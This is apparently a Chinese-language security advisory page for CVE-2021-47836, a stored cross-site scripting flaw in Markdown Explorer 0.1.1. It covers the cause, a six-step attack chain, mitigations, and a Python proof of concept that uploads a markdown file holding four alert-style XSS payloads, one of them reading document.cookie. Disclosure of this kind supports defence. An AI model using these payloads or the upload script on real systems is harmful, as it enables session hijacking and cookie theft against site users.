IPBUF安全漏洞报告
English
CVE-2021-47836 CVSS 6.1 中危

CVE-2021-47836 Markdown Explorer存储型XSS漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47836
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Markdown Explorer

相关标签

CVE-2021-47836XSS存储型XSS跨站脚本攻击Markdown Explorer文件上传漏洞Web应用安全JavaScript注入CVSS 6.1中危漏洞

漏洞概述

CVE-2021-47836是Markdown Explorer 0.1.1版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞允许未经认证的攻击者通过文件上传功能或编辑器输入注入恶意JavaScript代码。当其他用户浏览包含恶意代码的Markdown文件时,这些代码会在其浏览器上下文中执行,可能导致敏感信息泄露、会话劫持、恶意重定向等安全问题。Markdown Explorer是一款用于浏览和管理Markdown文件的Web应用,由于其核心功能涉及解析和渲染用户上传的Markdown内容,因此对输入内容的处理不当直接导致了这一安全缺陷。攻击者可以利用此漏洞窃取用户Cookie、冒充用户执行操作或植入钓鱼链接,对使用该应用的个人和企业造成严重威胁。漏洞的CVSS评分为6.1,属于中等严重程度,主要因为攻击需要用户交互且影响范围仅限于客户端执行。

技术细节

Markdown Explorer 0.1.1版本在处理Markdown文件内容时存在输入验证缺陷。漏洞的根本原因在于应用在渲染Markdown内容时,未对用户上传的文件内容或编辑器输入进行充分的HTML转义处理。攻击者可以构造包含HTML标签或JavaScript代码的恶意Markdown文件,利用Markdown解析器的特性绕过基本的安全过滤。具体来说,当Markdown文件被解析时,其中的<script>标签、事件处理器(如onerror、onload)或<a>标签的href属性中嵌入的JavaScript代码会被浏览器执行。攻击者通过文件上传接口(如/upload或相关端点)上传精心构造的.md文件,或直接在编辑器中输入恶意内容,这些内容会被存储在服务器端。当其他用户通过文件浏览功能访问这些文件时,恶意代码会在其浏览器上下文中执行,实现存储型XSS攻击。由于攻击代码存储在服务器上,所有访问该文件的用户都会受到攻击影响。

攻击链分析

STEP 1
步骤1:侦察和信息收集
攻击者首先识别目标网站上运行的Markdown Explorer版本,确认其版本号为0.1.1或更早版本,这些版本存在XSS漏洞。
STEP 2
步骤2:构造恶意载荷
攻击者构造包含恶意JavaScript代码的Markdown文件,可以使用script标签、事件处理器(如onerror、onload)或javascript伪协议的链接等方式注入XSS payload。
STEP 3
步骤3:上传恶意文件
攻击者利用Markdown Explorer的文件上传接口(如/upload端点)上传包含恶意代码的.md文件,文件被存储在服务器端。
STEP 4
步骤4:等待用户访问
攻击者等待或诱使其他用户(如管理员)访问包含恶意代码的Markdown文件,此时恶意代码被嵌入到页面中。
STEP 5
步骤5:执行恶意代码
当用户访问该文件时,浏览器解析Markdown内容并执行其中的JavaScript代码,攻击者可在用户浏览器上下文中执行任意操作。
STEP 6
步骤6:窃取敏感信息
攻击者通过XSS payload窃取用户的Cookie、会话令牌或其他敏感信息,可能导致账户被劫持或数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47836 Markdown Explorer Stored XSS PoC # This PoC demonstrates how to exploit the stored XSS vulnerability # in Markdown Explorer 0.1.1 import requests import json TARGET_URL = "http://target.com/markdown-explorer" def create_malicious_markdown(): """ Create a malicious markdown file with XSS payload """ # Method 1: Using script tag payload1 = """<script>alert(document.cookie)</script>""" # Method 2: Using img onerror event payload2 = """<img src=x onerror=alert('XSS')>""" # Method 3: Using anchor with javascript protocol payload3 = """[Click me](javascript:alert('XSS'))""" # Method 4: Using event handlers payload4 = """<svg/onload=alert(document.domain)>""" # Combine payloads into markdown malicious_content = f"""# Malicious File {payload1} {payload2} {payload3} {payload4} This file contains XSS payloads. """ return malicious_content def upload_malicious_file(): """ Upload the malicious markdown file to the server """ files = { 'file': ('malicious.md', create_malicious_markdown(), 'text/markdown') } try: response = requests.post(f"{TARGET_URL}/upload", files=files) print(f"Upload Response: {response.status_code}") print(response.text) return response.json() except Exception as e: print(f"Error uploading file: {e}") return None def main(): print("=" * 50) print("CVE-2021-47836 Exploitation PoC") print("=" * 50) # Step 1: Create malicious markdown content print("\n[1] Creating malicious markdown file...") content = create_malicious_markdown() print(f"Payload created: {len(content)} bytes") # Step 2: Upload the file print("\n[2] Uploading malicious file...") result = upload_malicious_file() if result: print("\n[3] File uploaded successfully!") print("[!] When any user views this file, the XSS payload will execute") print("[!] This can lead to cookie theft, session hijacking, etc.") if __name__ == "__main__": main()

影响范围

Markdown Explorer 0.1.1
Markdown Explorer <= 0.1.1

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)禁用Markdown Explorer的文件上传功能;2)限制可上传的文件类型,仅允许上传纯文本但需进行内容扫描;3)部署Web应用防火墙(WAF)规则过滤<script>标签和事件处理器;4)对所有渲染的Markdown内容进行HTML转义处理;5)限制用户权限,确保非管理员用户无法上传文件;6)监控和审计文件上传行为,及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表